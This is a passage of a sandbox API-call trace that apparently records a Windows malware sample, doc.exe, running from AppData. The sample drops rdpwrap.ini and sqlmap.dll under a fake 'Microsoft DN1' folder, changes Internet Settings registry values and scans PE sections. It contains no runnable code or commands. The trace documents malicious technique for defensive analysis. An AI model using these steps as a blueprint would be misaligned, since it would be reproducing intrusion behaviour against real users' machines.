DN1\\rdpwrap.ini") returned="C:\\Program Files\\Microsoft DN1\\rdpwrap.ini" [0294.792] VirtualFree (lpAddress=0x3e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.793] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.793] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.793] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.793] lstrcpyW (in: lpString1=0x3a0000, lpString2="\\sqlmap.dll" | out: lpString1="\\sqlmap.dll") returned="\\sqlmap.dll" [0294.793] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.793] lstrlenW (lpString="C:\\Program Files\\Microsoft DN1") returned 30 [0294.793] VirtualQuery (in: lpAddress=0x3f0000, lpBuffer=0x2afa48, dwLength=0x1c | out: lpBuffer=0x2afa48*(BaseAddress=0x3f0000, AllocationBase=0x3f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.793] VirtualAlloc (lpAddress=0x0, dwSize=0x56, flAllocationType=0x3000, flProtect=0x4) returned 0x3e0000 [0294.793] VirtualFree (lpAddress=0x3f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.793] lstrcatW (in: lpString1="C:\\Program Files\\Microsoft DN1", lpString2="\\sqlmap.dll" | out: lpString1="C:\\Program Files\\Microsoft DN1\\sqlmap.dll") returned="C:\\Program Files\\Microsoft DN1\\sqlmap.dll" [0294.794] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.794] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.794] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.794] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.794] lstrcpyW (in: lpString1=0x3a0000, lpString2="\\sqlmap.dll" | out: lpString1="\\sqlmap.dll") returned="\\sqlmap.dll" [0294.794] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.794] lstrlenW (lpString="%ProgramFiles%\\Microsoft DN1") returned 28 [0294.794] VirtualQuery (in: lpAddress=0x3d0000, lpBuffer=0x2afa48, dwLength=0x1c | out: lpBuffer=0x2afa48*(BaseAddress=0x3d0000, AllocationBase=0x3d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.794] VirtualAlloc (lpAddress=0x0, dwSize=0x52, flAllocationType=0x3000, flProtect=0x4) returned 0x3f0000 [0294.794] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.795] lstrcatW (in: lpString1="%ProgramFiles%\\Microsoft DN1", lpString2="\\sqlmap.dll" | out: lpString1="%ProgramFiles%\\Microsoft DN1\\sqlmap.dll") returned="%ProgramFiles%\\Microsoft DN1\\sqlmap.dll" [0294.795] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.819] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.819] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1a4 [0294.819] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x54dba4 | out: lpWSAData=0x54dba4) returned 0 [0294.902] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x3d0000 [0294.902] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1bc [0294.902] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x54dd84 | out: lpWSAData=0x54dd84) returned 0 [0294.902] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1c0 [0294.903] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0294.903] GetTickCount () returned 0xbfd7a7 [0294.903] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x2af570, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe")) returned 0x2a [0294.903] GetProcessHeap () returned 0x9c0000 [0294.903] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x400000) returned 0x2810020 [0294.903] CreateFileA (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0294.904] GetFileSize (in: hFile=0x1c4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9ba00 [0294.904] ReadFile (in: hFile=0x1c4, lpBuffer=0x2810020, nNumberOfBytesToRead=0x9ba00, lpNumberOfBytesRead=0x2af464, lpOverlapped=0x0 | out: lpBuffer=0x2810020*, lpNumberOfBytesRead=0x2af464*=0x9ba00, lpOverlapped=0x0) returned 1 [0294.919] CloseHandle (hObject=0x1c4) returned 1 [0294.919] GetProcessHeap () returned 0x9c0000 [0294.919] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x20) returned 0x9f4ae0 [0294.919] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Iµ\x80o") returned 0x1c4 [0294.920] GetLastError () returned 0x0 [0294.920] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x2af480, lpdwDisposition=0x2af494 | out: phkResult=0x2af480*=0x1c8, lpdwDisposition=0x2af494*=0x2) returned 0x0 [0294.920] RegSetValueExA (in: hKey=0x1c8, lpValueName="MaxConnectionsPer1_0Server", Reserved=0x0, dwType=0x4, lpData=0x2af48c*=0xa, cbData=0x4 | out: lpData=0x2af48c*=0xa) returned 0x0 [0294.921] RegSetValueExA (in: hKey=0x1c8, lpValueName="MaxConnectionsPerServer", Reserved=0x0, dwType=0x4, lpData=0x2af48c*=0xa, cbData=0x4 | out: lpData=0x2af48c*=0xa) returned 0x0 [0294.921] RegCloseKey (hKey=0x1c8) returned 0x0 [0294.921] Sleep (dwMilliseconds=0x1f4) [0295.475] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1c8 [0295.475] GetProcessHeap () returned 0x9c0000 [0295.475] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0xf4) returned 0x9ed458 [0295.475] GetProcessHeap () returned 0x9c0000 [0295.475] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x400) returned 0x9ed558 [0295.475] GetProcessHeap () returned 0x9c0000 [0295.475] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x13000) returned 0x9fbf50 [0295.476] GetProcessHeap () returned 0x9c0000 [0295.476] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x13000) returned 0xa0ef58 [0295.477] GetProcessHeap () returned 0x9c0000 [0295.477] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9fbf50 | out: hHeap=0x9c0000) returned 1 [0295.477] GetProcessHeap () returned 0x9c0000 [0295.477] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x4a00) returned 0x9ed960 [0295.477] GetProcessHeap () returned 0x9c0000 [0295.477] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x4a00) returned 0x9fbf50 [0295.477] GetProcessHeap () returned 0x9c0000 [0295.477] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9ed960 | out: hHeap=0x9c0000) returned 1 [0295.478] GetProcessHeap () returned 0x9c0000 [0295.478] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x600) returned 0xa21f60 [0295.478] GetProcessHeap () returned 0x9c0000 [0295.478] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x600) returned 0xa22568 [0295.478] GetProcessHeap () returned 0x9c0000 [0295.479] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0xa21f60 | out: hHeap=0x9c0000) returned 1 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x2e00) returned 0x9ed960 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x2e00) returned 0x9f0768 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9ed960 | out: hHeap=0x9c0000) returned 1 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1000) returned 0xa22b70 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1000) returned 0x9ed960 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0xa22b70 | out: hHeap=0x9c0000) returned 1 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x200) returned 0xa21f60 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x5a4) returned 0x9f3570 [0295.479] GetProcessHeap () returned 0x9c0000 [0295.479] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x13000) returned 0xa22b70 [0295.480] GetProcessHeap () returned 0x9c0000 [0295.480] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x4a00) returned 0xa00958 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x600) returned 0x9ee968 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x2e00) returned 0xa05360 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1000) returned 0x9eef70 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9ed960 | out: hHeap=0x9c0000) returned 1 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9f0768 | out: hHeap=0x9c0000) returned 1 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0xa22568 | out: hHeap=0x9c0000) returned 1 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9fbf50 | out: hHeap=0x9c0000) returned 1 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0xa0ef58 | out: hHeap=0x9c0000) returned 1 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x200) returned 0x9f3b20 [0295.481] GetProcessHeap () returned 0x9c0000 [0295.481] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0xa21f60 | out: hHeap=0x9c0000) returned 1 [0295.481] lstrlenA (lpString=".bss") returned 4 [0295.481] lstrlenA (lpString=".bss") returned 4 [0295.481] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0295.482] lstrcpyA (in: lpString1=0x700000, lpString2=".bss" | out: lpString1=".bss") returned=".bss" [0295.482] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x766d0000 [0295.482] GetProcAddress (hModule=0x766d0000, lpProcName="MessageBoxA") returned 0x7673fd1e [0295.482] GetProcessHeap () returned 0x9c0000 [0295.482] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x13000) returned 0xa08168 [0295.483] lstrlenA (lpString=".text") returned 5 [0295.483] lstrlenA (lpString=".text") returned 5 [0295.483] VirtualAlloc (lpAddress=0x0, dwSize=0x5, flAllocationType=0x3000, flProtect=0x4) returned 0x710000 [0295.483] lstrcpyA (in: lpString1=0x710000, lpString2=".text" | out: lpString1=".text") returned=".text" [0295.483] lstrcmpA (lpString1=".text", lpString2=".bss") returned 1 [0295.483] VirtualFree (lpAddress=0x710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0295.483] GetProcessHeap () returned 0x9c0000 [0295.483] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0xa08168 | out: hHeap=0x9c0000) returned 1 [0295.483] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x766d0000 [0295.484] GetProcAddress (hModule=0x766d0000, lpProcName="MessageBoxA") returned 0x7673fd1e [0295.484] GetProcessHeap () returned 0x9c0000 [0295.484] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x4a00) returned 0x9fbf50 [0295.484] lstrlenA (lpString=".rdata") returned 6 [0295.484] lstrlenA (lpString=".rdata") returned 6 [0295.484] VirtualAlloc (lpAddress=0x0, dwSize=0x6, flAllocationType=0x3000, flProtect=0x4) returned 0x710000 [0295.484] lstrcpyA (in: lpString1=0x710000, lpString2=".rdata" | out: lpString1=".rdata") returned=".rdata" [0295.484] lstrcmpA (lpString1=".rdata", lpString2=".bss") returned 1 [0295.484] VirtualFree (lpAddress=0x710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0295.484] GetProcessHeap () returned 0x9c0000 [0295.484] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9fbf50 | out: hHeap=0x9c0000) returned 1 [0295.486] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x766d0000 [0295.486] GetProcAddress (hModule=0x766d0000, lpProcName="MessageBoxA") returned 0x7673fd1e [0295.486] GetProcessHeap () returned 0x9c0000 [0295.486] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x600) returned 0x9ed960 [0295.486] lstrlenA (lpString=".data") returned 5 [0295.486] lstrlenA (lpString=".data") returned 5 [0295.486] VirtualAlloc (lpAddress=0x0, dwSize=0x5, flAllocationType=0x3000, flProtect=0x4) returned 0x710000 [0295.486] lstrcpyA (in: lpString1=0x710000, lpString2=".data" | out: lpString1=".data") returned=".data" [0295.486] lstrcmpA (lpString1=".data", lpString2=".bss") returned 1 [0295.486] VirtualFree (lpAddress=0x710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0295.487] GetProcessHeap () returned 0x9c0000 [0295.487] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9ed960 | out: hHeap=0x9c0000) returned 1 [0295.487] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x766d0000 [0295.487] GetProcAddress (hModule=0x766d0000, lpProcName="MessageBoxA") returned 0x7673fd1e [0295.487] GetProcessHeap () returned 0x9c0000 [0295.487] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x2e00) returned 0x9eff78 [0295.487] lstrlenA (lpString=".rsrc") returned 5 [0295.487] lstrlenA (lpString=".rsrc") returned 5 [0295.487] VirtualAlloc (lpAddress=0x0, dwSize=0x5, flAllocationType=0x3000, flProtect=0x4) returned 0x710000 [0295.488] lstrcpyA (in: lpString1=0x710000, lpString2=".rsrc" | out: lpString1=".rsrc") returned=".rsrc" [0295.488] lstrcmpA (lpString1=".rsrc", lpString2=".bss") returned 1 [0295.488] VirtualFree (lpAddress=0x710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0295.488] GetProcessHeap () returned 0x9c0000 [0295.488] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9eff78 | out: hHeap=0x9c0000) returned 1 [0295.488] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x766d0000 [0295.488] GetProcAddress (hModule=0x766d0000, lpProcName="MessageBoxA") returned 0x7673fd1e [0295.488] GetProcessHeap () returned 0x9c0000 [0295.488] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1000) returned 0x9ed960 [0295.488] lstrlenA (lpString=".reloc") returned 6 [0295.488] lstrlenA (lpString=".reloc") returned 6 [0295.488] VirtualAlloc (lpAddress=0x0, dwSize=0x6, flAllocationType=0x3000, flProtect=0x4) returned 0x710000 [0295.489] lstrcpyA (in: lpString1=0x710000, lpString2=".reloc" | out: lpString1=".reloc") returned=".reloc" [0295.489] lstrcmpA (lpString1=".reloc", lpString2=".bss") returned 1 [0295.489] VirtualFree (lpAddress=0x710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0295.489] GetProcessHeap () returned 0x9c0000 [0295.489] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9ed960 | out: hHeap=0x9c0000) returned 1 [0295.489] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x766d0000 [0295.489] GetProcAddress (hModule=0x766d0000, lpProcName="MessageBoxA") returned 0x7673fd1e [0295.489] GetProcessHeap () returned 0x9c0000 [0295.489] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x200) returned 0x9f3d28 [0295.489] lstrlenA (lpString=".bss") returned 4 [0295.490] lstrlenA (lpString=".bss") returned 4 [0295.490] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x710000 [0295.490] lstrcpyA (in: lpString1=0x710000, lpString2=".bss" | out: lpString1=".bss") returned=".bss" [0295.490] lstrcmpA (lpString1=".bss", lpString2=".bss") returned 0 [0295.490] VirtualFree (lpAddress=0x710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0295.490] GetProcessHeap () returned 0x9c0000 [0295.490] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9f3d28 | out: hHeap=0x9c0000) returned 1 [0295.490] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x766d0000 [0295.490] GetProcAddress (hModule=0x766d0000, lpProcName="MessageBoxA") returned 0x7673fd1e [0295.490] GetProcessHeap () returned 0x9c0000 [0295.490] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x200) returned 0x9f3d28 [0295.491] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x200) returned 0x9ed960 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x200) returned 0x9edb68 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9ed960 | out: hHeap=0x9c0000) returned 1 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1ca) returned 0x9ed960 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1ca) returned 0x9edd70 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9ed960 | out: hHeap=0x9c0000) returned 1 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x1ca) returned 0x9ed960 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x32) returned 0x9f3f30 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x32) returned 0x9f3f70 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9f3f30 | out: hHeap=0x9c0000) returned 1 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x32) returned 0x9f3f30 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] HeapFree (in: hHeap=0x9c0000, dwFlags=0x0, lpMem=0x9f3f70 | out: hHeap=0x9c0000) returned 1 [0295.491] GetProcessHeap () returned 0x9c0000 [0295.491] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x32) returned 0x9f3f70